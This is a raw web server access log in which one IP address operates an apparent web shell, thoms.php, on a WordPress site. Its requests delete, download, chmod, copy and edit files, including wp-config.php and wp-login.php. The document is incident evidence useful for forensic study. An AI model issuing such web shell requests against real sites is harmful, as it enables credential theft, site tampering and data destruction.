45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /thoms.php?del=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13601 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13609 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /bestzyx.com.tw/optimized-validator HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/optimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /thoms.php?dl=admin.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13611 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=cjfuns.php HTTP/1.1" 200 16595 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /bestzyx.com.tw/optimized-validator/ HTTP/1.1" 200 6475 "https://163.245.207.76:443/bestzyx.com.tw/optimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:09 -0400] "GET /thoms.php?chmod=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13633 "https://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?del=admin.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13611 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fadmin.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fadmin.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fcjfuns.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fcjfuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13611 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fadmin.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:10 -0400] "GET /bestzyx.com.tw/optimized-validator/cjfuns.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:11 -0400] "GET /bestzyx.com.tw/optimized-validator/index.php HTTP/1.1" 200 6443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=index.php HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:11 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Findex.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Findex.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:11 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=license.txt HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:11 -0400] "GET /thoms.php?dl=license.txt&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13444 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=profile.php HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:12 -0400] "GET /thoms.php?del=profile.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13425 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:12 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13424 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:12 -0400] "GET /thoms.php?del=license.txt&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13427 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:12 -0400] "GET /bestzyx.com.tw/optimized-validator/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fprofile.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Foptimized-validator%2Fprofile.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/cgi-bin/?ND= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/cgi-bin/?MA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/cgi-bin/?SA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?edit=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 14589 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 18186 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/.well-known/?MA= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/.well-known/?ND= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /bestzyx.com.tw/.well-known/?SA= HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16631 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:13 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 13058 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /bestzyx.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?edit=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 22265 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 25916 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?edit=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 28823 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 32484 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18452 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12238 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18593 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12228 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18593 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 18746 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?edit=filefuns.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 18069 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?edit=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 13468 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?edit=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 14471 "http://163.245.207.76:443/thoms.php?edit=filefuns.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:16 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 17058 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
